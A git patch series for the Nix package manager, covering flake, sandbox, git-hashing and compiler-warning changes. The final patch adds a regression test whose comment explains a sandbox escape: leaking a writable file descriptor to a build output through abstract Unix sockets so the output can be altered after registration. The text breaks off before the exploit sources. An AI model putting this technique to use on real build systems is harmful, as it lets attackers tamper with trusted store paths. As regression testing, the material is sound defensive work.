From 9f11b1b0c4724ad81f91f14756b475e0de64379f Mon Sep 17 00:00:00 2001 From: Olmo Kramer Date: Sat, 24 Feb 2024 20:58:44 +0100 Subject: [PATCH 01/90] Accept multiple inputs in `nix flake update` --- src/nix/flake.cc | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 131589f35..de23a122d 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -88,17 +88,19 @@ public: expectArgs({ .label="inputs", .optional=true, - .handler={[&](std::string inputToUpdate){ - InputPath inputPath; - try { - inputPath = flake::parseInputPath(inputToUpdate); - } catch (Error & e) { - warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); - throw e; + .handler={[&](std::vector inputsToUpdate){ + for (auto inputToUpdate : inputsToUpdate) { + InputPath inputPath; + try { + inputPath = flake::parseInputPath(inputToUpdate); + } catch (Error & e) { + warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); + throw e; + } + if (lockFlags.inputUpdates.contains(inputPath)) + warn("Input '%s' was specified multiple times. You may have done this by accident."); + lockFlags.inputUpdates.insert(inputPath); } - if (lockFlags.inputUpdates.contains(inputPath)) - warn("Input '%s' was specified multiple times. You may have done this by accident."); - lockFlags.inputUpdates.insert(inputPath); }}, .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix); From d60c3f7f7c83134b5b4470ed84b6d5ed38e28753 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20=C5=BDlender?= Date: Sun, 25 Feb 2024 23:00:57 +0100 Subject: [PATCH 02/90] Fix __darwinAllowLocalNetworking sandbox The sandbox rule `(allow network* (local ip))` doesn't do what it implies. Adding this rule permits all network traffic. We should be matching on (remote ip "localhost:*")` instead. --- src/libstore/build/sandbox-defaults.sb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/sandbox-defaults.sb b/src/libstore/build/sandbox-defaults.sb index 25ec11285..2ad5fb616 100644 --- a/src/libstore/build/sandbox-defaults.sb +++ b/src/libstore/build/sandbox-defaults.sb @@ -45,7 +45,7 @@ R""( ; allow it if the package explicitly asks for it. (if (param "_ALLOW_LOCAL_NETWORKING") (begin - (allow network* (local ip) (local tcp) (local udp)) + (allow network* (remote ip "localhost:*")) ; Allow access to /etc/resolv.conf (which is a symlink to ; /private/var/run/resolv.conf). From 598deb2b23bc59df61c92ea25745d675686f3991 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 26 Feb 2024 15:08:08 +0100 Subject: [PATCH 03/90] Use SourcePath for reading flake.{nix,lock} Flakes still reside in the Nix store (so there shouldn't be any change in behaviour), but they are now accessed via the rootFS accessor. Since rootFS implements access checks, we no longer have to worry about flake.{nix,lock} or their parents being symlinks that escape from the flake. Extracted from the lazy-trees branch. --- src/libcmd/installables.cc | 3 +- src/libexpr/flake/flake.cc | 93 ++++++++++++++++++----------------- src/libexpr/flake/flake.hh | 17 +++++-- src/libexpr/flake/lockfile.cc | 10 ++-- src/libexpr/flake/lockfile.hh | 4 +- src/nix/flake.cc | 13 +++-- 6 files changed, 77 insertions(+), 63 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 16d25d3cf..d87d7b9b1 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -21,6 +21,7 @@ #include "url.hh" #include "registry.hh" #include "build-result.hh" +#include "fs-input-accessor.hh" #include #include @@ -146,7 +147,7 @@ MixFlakeOptions::MixFlakeOptions() .category = category, .labels = {"flake-lock-path"}, .handler = {[&](std::string lockFilePath) { - lockFlags.referenceLockFilePath = lockFilePath; + lockFlags.referenceLockFilePath = getUnfilteredRootPath(CanonPath(absPath(lockFilePath))); }}, .completer = completePath }); diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index 022d39cdb..fd9341504 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -139,7 +139,7 @@ static FlakeInput parseFlakeInput(EvalState & state, attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean }); break; case nInt: - attrs.emplace(state.symbols[attr.name], (long unsigned int)attr.value->integer); + attrs.emplace(state.symbols[attr.name], (long unsigned int) attr.value->integer); break; default: if (attr.name == state.symbols.create("publicKeys")) { @@ -202,43 +202,28 @@ static std::map parseFlakeInputs( return inputs; } -static Flake getFlake( +static Flake readFlake( EvalState & state, const FlakeRef & originalRef, - bool allowLookup, - FlakeCache & flakeCache, - InputPath lockRootPath) + const FlakeRef & resolvedRef, + const FlakeRef & lockedRef, + const SourcePath & rootDir, + const InputPath & lockRootPath) { - auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( - state, originalRef, allowLookup, flakeCache); + auto flakePath = rootDir / CanonPath(resolvedRef.subdir) / "flake.nix"; - // We need to guard against symlink attacks, but before we start doing - // filesystem operations we should make sure there's a flake.nix in the - // first place. - auto unsafeFlakeDir = state.store->toRealPath(storePath) + "/" + lockedRef.subdir; - auto unsafeFlakeFile = unsafeFlakeDir + "/flake.nix"; - if (!pathExists(unsafeFlakeFile)) - throw Error("source tree referenced by '%s' does not contain a '%s/flake.nix' file", lockedRef, lockedRef.subdir); + Value vInfo; + state.evalFile(flakePath, vInfo, true); - // Guard against symlink attacks. - auto flakeDir = canonPath(unsafeFlakeDir, true); - auto flakeFile = canonPath(flakeDir + "/flake.nix", true); - if (!isInDir(flakeFile, state.store->toRealPath(storePath))) - throw Error("'flake.nix' file of flake '%s' escapes from '%s'", - lockedRef, state.store->printStorePath(storePath)); + expectType(state, nAttrs, vInfo, state.positions.add(Pos::Origin(rootDir), 1, 1)); Flake flake { .originalRef = originalRef, .resolvedRef = resolvedRef, .lockedRef = lockedRef, - .storePath = storePath, + .path = flakePath, }; - Value vInfo; - state.evalFile(state.rootPath(CanonPath(flakeFile)), vInfo, true); // FIXME: symlink attack - - expectType(state, nAttrs, vInfo, state.positions.add({state.rootPath(CanonPath(flakeFile))}, 1, 1)); - if (auto description = vInfo.attrs->get(state.sDescription)) { expectType(state, nString, *description->value, description->pos); flake.description = description->value->c_str(); @@ -247,7 +232,7 @@ static Flake getFlake( auto sInputs = state.symbols.create("inputs"); if (auto inputs = vInfo.attrs->get(sInputs)) - flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakeDir, lockRootPath); + flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakePath.parent().path.abs(), lockRootPath); // FIXME auto sOutputs = state.symbols.create("outputs"); @@ -264,7 +249,7 @@ static Flake getFlake( } } else - throw Error("flake '%s' lacks attribute 'outputs'", lockedRef); + throw Error("flake '%s' lacks attribute 'outputs'", resolvedRef); auto sNixConfig = state.symbols.create("nixConfig"); @@ -281,7 +266,7 @@ static Flake getFlake( NixStringContext emptyContext = {}; flake.config.settings.emplace( state.symbols[setting.name], - state.coerceToString(setting.pos, *setting.value, emptyContext, "", false, true, true) .toOwned()); + state.coerceToString(setting.pos, *setting.value, emptyContext, "", false, true, true).toOwned()); } else if (setting.value->type() == nInt) flake.config.settings.emplace( @@ -313,12 +298,25 @@ static Flake getFlake( attr.name != sOutputs && attr.name != sNixConfig) throw Error("flake '%s' has an unsupported attribute '%s', at %s", - lockedRef, state.symbols[attr.name], state.positions[attr.pos]); + resolvedRef, state.symbols[attr.name], state.positions[attr.pos]); } return flake; } +static Flake getFlake( + EvalState & state, + const FlakeRef & originalRef, + bool allowLookup, + FlakeCache & flakeCache, + InputPath lockRootPath) +{ + auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( + state, originalRef, allowLookup, flakeCache); + + return readFlake(state, originalRef, resolvedRef, lockedRef, state.rootPath(state.store->toRealPath(storePath)), lockRootPath); +} + Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup, FlakeCache & flakeCache) { return getFlake(state, originalRef, allowLookup, flakeCache, {}); @@ -330,6 +328,13 @@ Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup return getFlake(state, originalRef, allowLookup, flakeCache); } +static LockFile readLockFile(const SourcePath & lockFilePath) +{ + return lockFilePath.pathExists() + ? LockFile(lockFilePath.readFile(), fmt("%s", lockFilePath)) + : LockFile(); +} + /* Compute an in-memory lock file for the specified top-level flake, and optionally write it to file, if the flake is writable. */ LockedFlake lockFlake( @@ -355,17 +360,16 @@ LockedFlake lockFlake( throw Error("reference lock file was provided, but the `allow-dirty` setting is set to false"); } - // FIXME: symlink attack - auto oldLockFile = LockFile::read( + auto oldLockFile = readLockFile( lockFlags.referenceLockFilePath.value_or( - state.store->toRealPath(flake.storePath) + "/" + flake.lockedRef.subdir + "/flake.lock")); + flake.lockFilePath())); debug("old lock file: %s", oldLockFile); std::map overrides; std::set explicitCliOverrides; std::set overridesUsed, updatesUsed; - std::map, StorePath> nodePaths; + std::map, SourcePath> nodePaths; for (auto & i : lockFlags.inputOverrides) { overrides.insert_or_assign(i.first, FlakeInput { .ref = i.second }); @@ -538,7 +542,7 @@ LockedFlake lockFlake( if (mustRefetch) { auto inputFlake = getFlake(state, oldLock->lockedRef, false, flakeCache, inputPath); - nodePaths.emplace(childNode, inputFlake.storePath); + nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks(inputFlake.inputs, childNode, inputPath, oldLock, lockRootPath, parentPath, false); } else { computeLocks(fakeInputs, childNode, inputPath, oldLock, lockRootPath, parentPath, true); @@ -587,13 +591,12 @@ LockedFlake lockFlake( flake. Also, unless we already have this flake in the top-level lock file, use this flake's own lock file. */ - nodePaths.emplace(childNode, inputFlake.storePath); + nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks( inputFlake.inputs, childNode, inputPath, oldLock ? std::dynamic_pointer_cast(oldLock) - : LockFile::read( - state.store->toRealPath(inputFlake.storePath) + "/" + inputFlake.lockedRef.subdir + "/flake.lock").root.get_ptr(), + : readLockFile(inputFlake.lockFilePath()).root.get_ptr(), oldLock ? lockRootPath : inputPath, localPath, false); @@ -605,7 +608,7 @@ LockedFlake lockFlake( auto childNode = make_ref(lockedRef, ref, false); - nodePaths.emplace(childNode, storePath); + nodePaths.emplace(childNode, state.rootPath(state.store->toRealPath(storePath))); node->inputs.insert_or_assign(id, childNode); } @@ -619,9 +622,9 @@ LockedFlake lockFlake( }; // Bring in the current ref for relative path resolution if we have it - auto parentPath = canonPath(state.store->toRealPath(flake.storePath) + "/" + flake.lockedRef.subdir, true); + auto parentPath = flake.path.parent().path.abs(); - nodePaths.emplace(newLockFile.root, flake.storePath); + nodePaths.emplace(newLockFile.root, flake.path.parent()); computeLocks( flake.inputs, @@ -746,13 +749,15 @@ void callFlake(EvalState & state, auto overrides = state.buildBindings(lockedFlake.nodePaths.size()); - for (auto & [node, storePath] : lockedFlake.nodePaths) { + for (auto & [node, sourcePath] : lockedFlake.nodePaths) { auto override = state.buildBindings(2); auto & vSourceInfo = override.alloc(state.symbols.create("sourceInfo")); auto lockedNode = node.dynamic_pointer_cast(); + auto [storePath, subdir] = state.store->toStorePath(sourcePath.path.abs()); + emitTreeAttrs( state, storePath, @@ -766,7 +771,7 @@ void callFlake(EvalState & state, override .alloc(state.symbols.create("dir")) - .mkString(lockedNode ? lockedNode->lockedRef.subdir : lockedFlake.flake.lockedRef.subdir); + .mkString(CanonPath(subdir).rel()); overrides.alloc(state.symbols.create(key->second)).mkAttrs(override); } @@ -928,7 +933,7 @@ Fingerprint LockedFlake::getFingerprint() const // flake.sourceInfo.storePath for the fingerprint. return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%d;%d;%s", - flake.storePath.to_string(), + flake.path.to_string(), flake.lockedRef.subdir, flake.lockedRef.input.getRevCount().value_or(0), flake.lockedRef.input.getLastModified().value_or(0), diff --git a/src/libexpr/flake/flake.hh b/src/libexpr/flake/flake.hh index 19b680c56..48907813f 100644 --- a/src/libexpr/flake/flake.hh +++ b/src/libexpr/flake/flake.hh @@ -77,18 +77,27 @@ struct Flake * the specific local store result of invoking the fetcher */ FlakeRef lockedRef; + /** + * The path of `flake.nix`. + */ + SourcePath path; /** * pretend that 'lockedRef' is dirty */ bool forceDirty = false; std::optional description; - StorePath storePath; FlakeInputs inputs; /** * 'nixConfig' attribute */ ConfigFile config; + ~Flake(); + + SourcePath lockFilePath() + { + return path.parent() / "flake.lock"; + } }; Flake getFlake(EvalState & state, const FlakeRef & flakeRef, bool allowLookup); @@ -104,11 +113,11 @@ struct LockedFlake LockFile lockFile; /** - * Store paths of nodes that have been fetched in + * Source tree accessors for nodes that have been fetched in * lockFlake(); in particular, the root node and the overriden * inputs. */ - std::map, StorePath> nodePaths; + std::map, SourcePath> nodePaths; Fingerprint getFingerprint() const; }; @@ -165,7 +174,7 @@ struct LockFlags /** * The path to a lock file to read instead of the `flake.lock` file in the top-level flake */ - std::optional referenceLockFilePath; + std::optional referenceLockFilePath; /** * The path to a lock file to write to instead of the `flake.lock` file in the top-level flake diff --git a/src/libexpr/flake/lockfile.cc b/src/libexpr/flake/lockfile.cc index e3a28c7c6..d252214dd 100644 --- a/src/libexpr/flake/lockfile.cc +++ b/src/libexpr/flake/lockfile.cc @@ -84,8 +84,10 @@ std::shared_ptr LockFile::findInput(const InputPath & path) return doFind(root, path, visited); } -LockFile::LockFile(const nlohmann::json & json, const Path & path) +LockFile::LockFile(std::string_view contents, std::string_view path) { + auto json = nlohmann::json::parse(contents); + auto version = json.value("version", 0); if (version < 5 || version > 7) throw Error("lock file '%s' has unsupported version %d", path, version); @@ -203,12 +205,6 @@ std::pair LockFile::to_string() const return {json.dump(2), std::move(nodeKeys)}; } -LockFile LockFile::read(const Path & path) -{ - if (!pathExists(path)) return LockFile(); - return LockFile(nlohmann::json::parse(readFile(path)), path); -} - std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile) { stream << lockFile.toJSON().first.dump(2); diff --git a/src/libexpr/flake/lockfile.hh b/src/libexpr/flake/lockfile.hh index 57a7202a2..7e62e6d09 100644 --- a/src/libexpr/flake/lockfile.hh +++ b/src/libexpr/flake/lockfile.hh @@ -55,7 +55,7 @@ struct LockFile ref root = make_ref(); LockFile() {}; - LockFile(const nlohmann::json & json, const Path & path); + LockFile(std::string_view contents, std::string_view path); typedef std::map, std::string> KeyMap; @@ -63,8 +63,6 @@ struct LockFile std::pair to_string() const; - static LockFile read(const Path & path); - /** * Check whether this lock file has any unlocked inputs. If so, * return one. diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 131589f35..e4daa4dba 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -205,6 +205,9 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON auto lockedFlake = lockFlake(); auto & flake = lockedFlake.flake; + // Currently, all flakes are in the Nix store via the rootFS accessor. + auto storePath = store->printStorePath(store->toStorePath(flake.path.path.abs()).first); + if (json) { nlohmann::json j; if (flake.description) @@ -223,7 +226,7 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["revCount"] = *revCount; if (auto lastModified = flake.lockedRef.input.getLastModified()) j["lastModified"] = *lastModified; - j["path"] = store->printStorePath(flake.storePath); + j["path"] = storePath; j["locks"] = lockedFlake.lockFile.toJSON().first; logger->cout("%s", j.dump()); } else { @@ -239,7 +242,7 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON *flake.description); logger->cout( ANSI_BOLD "Path:" ANSI_NORMAL " %s", - store->printStorePath(flake.storePath)); + storePath); if (auto rev = flake.lockedRef.input.getRev()) logger->cout( ANSI_BOLD "Revision:" ANSI_NORMAL " %s", @@ -1031,7 +1034,9 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun StorePathSet sources; - sources.insert(flake.flake.storePath); + auto storePath = store->toStorePath(flake.flake.path.path.abs()).first; + + sources.insert(storePath); // FIXME: use graph output, handle cycles. std::function traverse; @@ -1060,7 +1065,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun if (json) { nlohmann::json jsonRoot = { - {"path", store->printStorePath(flake.flake.storePath)}, + {"path", store->printStorePath(storePath)}, {"inputs", traverse(*flake.lockFile.root)}, }; logger->cout("%s", jsonRoot); From bcb5f235f963d3e213c3dbe104be91a9a0a6dd29 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 28 Feb 2024 10:56:07 -0500 Subject: [PATCH 04/90] Support symlinks properly with `git-hashing` experimental feature Before, they would not be written to a file `FileSystemObjectSink` correctly. --- src/libutil/git.cc | 75 +++++++++++++++++++------ src/libutil/git.hh | 21 ++++++- tests/functional/git-hashing/simple.sh | 9 +++ tests/unit/libutil/data/git/tree.bin | Bin 100 -> 133 bytes tests/unit/libutil/data/git/tree.txt | 1 + tests/unit/libutil/git.cc | 30 ++++++++-- 6 files changed, 110 insertions(+), 26 deletions(-) diff --git a/src/libutil/git.cc b/src/libutil/git.cc index 5733531fa..0b6e35222 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -56,31 +56,63 @@ void parseBlob( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::GitHashing); - sink.createRegularFile(sinkPath, [&](auto & crf) { - if (executable) - crf.isExecutable(); + unsigned long long size = std::stoi(getStringUntil(source, 0)); - unsigned long long size = std::stoi(getStringUntil(source, 0)); + auto doRegularFile = [&](bool executable) { + sink.createRegularFile(sinkPath, [&](auto & crf) { + if (executable) + crf.isExecutable(); - crf.preallocateContents(size); + crf.preallocateContents(size); - unsigned long long left = size; - std::string buf; - buf.reserve(65536); + unsigned long long left = size; + std::string buf; + buf.reserve(65536); - while (left) { + while (left) { + checkInterrupt(); + buf.resize(std::min((unsigned long long)buf.capacity(), left)); + source(buf); + crf(buf); + left -= buf.size(); + } + }); + }; + + switch (blobMode) { + + case BlobMode::Regular: + doRegularFile(false); + break; + + case BlobMode::Executable: + doRegularFile(true); + break; + + case BlobMode::Symlink: + { + std::string target; + target.resize(size, '0'); + target.reserve(size); + for (size_t n = 0; n < target.size();) { checkInterrupt(); - buf.resize(std::min((unsigned long long)buf.capacity(), left)); - source(buf); - crf(buf); - left -= buf.size(); + n += source.read( + const_cast(target.c_str()) + n, + target.size() - n); } - }); + + sink.createSymlink(sinkPath, target); + break; + } + + default: + assert(false); + } } void parseTree( @@ -142,7 +174,7 @@ void parse( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode rootModeIfBlob, std::function hook, const ExperimentalFeatureSettings & xpSettings) { @@ -152,7 +184,7 @@ void parse( switch (type) { case ObjectType::Blob: - parseBlob(sink, sinkPath, source, executable, xpSettings); + parseBlob(sink, sinkPath, source, rootModeIfBlob, xpSettings); break; case ObjectType::Tree: parseTree(sink, sinkPath, source, hook, xpSettings); @@ -177,7 +209,7 @@ std::optional convertMode(SourceAccessor::Type type) void restore(FileSystemObjectSink & sink, Source & source, std::function hook) { - parse(sink, "", source, false, [&](Path name, TreeEntry entry) { + parse(sink, "", source, BlobMode::Regular, [&](Path name, TreeEntry entry) { auto [accessor, from] = hook(entry.hash); auto stat = accessor->lstat(from); auto gotOpt = convertMode(stat.type); @@ -275,6 +307,13 @@ Mode dump( } case SourceAccessor::tSymlink: + { + auto target = accessor.readLink(path); + dumpBlobPrefix(target.size(), sink, xpSettings); + sink(target); + return Mode::Symlink; + } + case SourceAccessor::tMisc: default: throw Error("file '%1%' has an unsupported type", path); diff --git a/src/libutil/git.hh b/src/libutil/git.hh index d9eb138e1..cfea48fbe 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -75,10 +75,23 @@ ObjectType parseObjectType( Source & source, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); +/** + * These 3 modes are represented by blob objects. + * + * Sometimes we need this information to disambiguate how a blob is + * being used to better match our own "file system object" data model. + */ +enum struct BlobMode : RawMode +{ + Regular = static_cast(Mode::Regular), + Executable = static_cast(Mode::Executable), + Symlink = static_cast(Mode::Symlink), +}; + void parseBlob( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); void parseTree( @@ -89,11 +102,15 @@ void parseTree( /** * Helper putting the previous three `parse*` functions together. + * + * @rootModeIfBlob How to interpret a root blob, for which there is no + * disambiguating dir entry to answer that questino. If the root it not + * a blob, this is ignored. */ void parse( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode rootModeIfBlob, std::function hook, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); diff --git a/tests/functional/git-hashing/simple.sh b/tests/functional/git-hashing/simple.sh index 74b0220f8..604e1a175 100644 --- a/tests/functional/git-hashing/simple.sh +++ b/tests/functional/git-hashing/simple.sh @@ -56,3 +56,12 @@ echo Run Hello World! > $TEST_ROOT/dummy3/dir/executable path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) hash3=$(nix-store -q --hash $path3) test "$hash3" = "sha256:08y3nm3mvn9qvskqnf13lfgax5lh73krxz4fcjd5cp202ggpw9nv" + +rm -rf $TEST_ROOT/dummy3 +mkdir -p $TEST_ROOT/dummy3 +mkdir -p $TEST_ROOT/dummy3/dir +touch $TEST_ROOT/dummy3/dir/file +ln -s './hello/world.txt' $TEST_ROOT/dummy3/dir/symlink +path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) +hash3=$(nix-store -q --hash $path3) +test "$hash3" = "sha256:1dwazas8irzpar89s8k2bnp72imfw7kgg4aflhhsfnicg8h428f3" diff --git a/tests/unit/libutil/data/git/tree.bin b/tests/unit/libutil/data/git/tree.bin index 5256ec140702fef5f88bd5750caf7cd57c03e5ac..4ccd43e9a977a6c216f0fad5a15c30aaf20da778 100644 GIT binary patch delta 30 jcmYdkW#lL+N=;QTG%}gU9?NZLWB>#Tg{7qt6AeWHezyoG delta 14 VcmZo=Okpo6N=;R;G@8f}3jiOO1S0?d diff --git a/tests/unit/libutil/data/git/tree.txt b/tests/unit/libutil/data/git/tree.txt index be3d02920..cd40b6a55 100644 --- a/tests/unit/libutil/data/git/tree.txt +++ b/tests/unit/libutil/data/git/tree.txt @@ -1,3 +1,4 @@ 100644 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 Foo 100755 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 bAr 040000 tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904 baZ +120000 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 quuX diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index 76ef86bcf..4f92488d6 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) { StringSink out; RegularFileSink out2 { out }; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); - parseBlob(out2, "", in, false, mockXpSettings); + parseBlob(out2, "", in, BlobMode::Regular, mockXpSettings); auto expected = readFile(goldenMaster("hello-world.bin")); @@ -115,6 +115,15 @@ const static Tree tree = { .hash = Hash::parseAny("4b825dc642cb6eb9a060e54bf8d69288fbee4904", HashAlgorithm::SHA1), }, }, + { + "quuX", + { + .mode = Mode::Symlink, + // hello world with special chars from above (symlink target + // can be anything) + .hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1), + }, + }, }; TEST_F(GitTest, tree_read) { @@ -165,6 +174,12 @@ TEST_F(GitTest, both_roundrip) { .contents = "good day,\n\0\n\tworld!", }, }, + { + "quux", + File::Symlink { + .target = "/over/there", + }, + }, }, }, }, @@ -195,21 +210,24 @@ TEST_F(GitTest, both_roundrip) { MemorySink sinkFiles2 { files2 }; - std::function mkSinkHook; - mkSinkHook = [&](auto prefix, auto & hash, auto executable) { + std::function mkSinkHook; + mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { StringSource in { cas[hash] }; parse( - sinkFiles2, prefix, in, executable, + sinkFiles2, prefix, in, blobMode, [&](const Path & name, const auto & entry) { mkSinkHook( prefix + "/" + name, entry.hash, - entry.mode == Mode::Executable); + // N.B. this cast would not be acceptable in real + // code, because it would make an assert reachable, + // but it should harmless in this test. + static_cast(entry.mode)); }, mockXpSettings); }; - mkSinkHook("", root.hash, false); + mkSinkHook("", root.hash, BlobMode::Regular); ASSERT_EQ(files, files2); } From 65bb12ba78c7cef975515e025c72cf68b7e738b3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 28 Feb 2024 22:59:20 +0100 Subject: [PATCH 05/90] Fix gcc 12 warnings --- src/libstore/build-result.hh | 5 +++++ src/libstore/build/local-derivation-goal.cc | 1 + src/libstore/daemon.cc | 2 ++ src/libstore/remote-store.cc | 2 ++ src/libutil/file-content-address.cc | 2 +- 5 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/libstore/build-result.hh b/src/libstore/build-result.hh index 8840fa7e3..3636ad3a4 100644 --- a/src/libstore/build-result.hh +++ b/src/libstore/build-result.hh @@ -123,6 +123,11 @@ struct KeyedBuildResult : BuildResult * The derivation we built or the store path we substituted. */ DerivedPath path; + + // Hack to work around a gcc "may be used uninitialized" warning. + KeyedBuildResult(BuildResult res, DerivedPath path) + : BuildResult(std::move(res)), path(std::move(path)) + { } }; } diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index a9b8de123..c7a658361 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2480,6 +2480,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() CanonPath { tmpDir + "/tmp" }).hash; } } + assert(false); }(); ValidPathInfo newInfo0 { diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index e1337f51d..917813342 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -415,6 +415,8 @@ static void performOp(TunnelLogger * logger, ref store, // Use NAR; Git is not a serialization method dumpMethod = FileSerialisationMethod::Recursive; break; + default: + assert(false); } // TODO these two steps are essentially RemoteStore::addCAToStore. Move it up to Store. auto path = store->addToStoreFromDump(source, name, dumpMethod, contentAddressMethod, hashAlgo, refs, repair); diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 8dfe8adda..09196481b 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -527,6 +527,8 @@ StorePath RemoteStore::addToStoreFromDump( // Use NAR; Git is not a serialization method fsm = FileSerialisationMethod::Recursive; break; + default: + assert(false); } if (fsm != dumpMethod) unsupported("RemoteStore::addToStoreFromDump doesn't support this `dumpMethod` `hashMethod` combination"); diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 471bda6a0..570247b9e 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -123,7 +123,7 @@ Hash hashPath( case FileIngestionMethod::Git: return git::dumpHash(ht, accessor, path, filter).hash; } - + assert(false); } } From a55c6a0f4749084a5d85bb90a2de2b08349b6f37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 12 Feb 2024 21:28:20 +0100 Subject: [PATCH 06/90] Add a NixOS test for the sandbox escape Test that we can't leverage abstract unix domain sockets to leak file descriptors out of the sandbox and modify the path after it has been registered. --- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ tests/nixos/default.nix | 4 +- 4 files changed, 224 insertions(+), 1 deletion(-) create mode 100644 tests/nixos/ca-fd-leak/default.nix create mode 100644 tests/nixos/ca-fd-leak/sender.c create mode 100644 tests/nixos/ca-fd-leak/smuggler.c diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix new file mode 100644 index 000000000..40e57ea02 --- /dev/null +++ b/tests/nixos/ca-fd-leak/default.nix @@ -0,0 +1,90 @@ +# Nix is a sandboxed build system. But Not everything can be handled inside its +# sandbox: Network access is normally blocked off, but to download sources, a +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +# The detail here is not important, but in our case it means that the hash of +# the output has to be known beforehand. And if you know that, you get a few +# rights: you no longer run inside a special network namespace! +# +# Now, Linux has a special feature, that not many other unices do: Abstract +# unix domain sockets! Not only that, but those are namespaced using the +# network namespace! That means that we have a way to create sockets that are +# available in every single fixed-output derivation, and also all processes +# running on the host machine! Now, this wouldn't be that much of an issue, as, +# well, the whole idea is that the output is pure, and all processes in the +# sandbox are killed before finalizing the output. What if we didn't need those +# processes at all? Unix domain sockets have a semi-known trick: you can pass +# file descriptors around! +# This makes it possible to exfiltrate a file-descriptor with write access to +# $out outside of the sandbox. And that file-descriptor can be used to modify +# the contents of the store path after it has been registered. + +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + # Simple C program that sends a a file descriptor to `$out` to a Unix + # domain socket. + # Compiled statically so that we can easily send it to the VM and use it + # inside the build sandbox. + sender = pkgs.runCommandWith { + name = "sender"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./sender.c} + ''; + + # Okay, so we have a file descriptor shipped out of the FOD now. But the + # Nix store is read-only, right? .. Well, yeah. But this file descriptor + # lives in a mount namespace where it is not! So even when this file exists + # in the actual Nix store, we're capable of just modifying its contents... + smuggler = 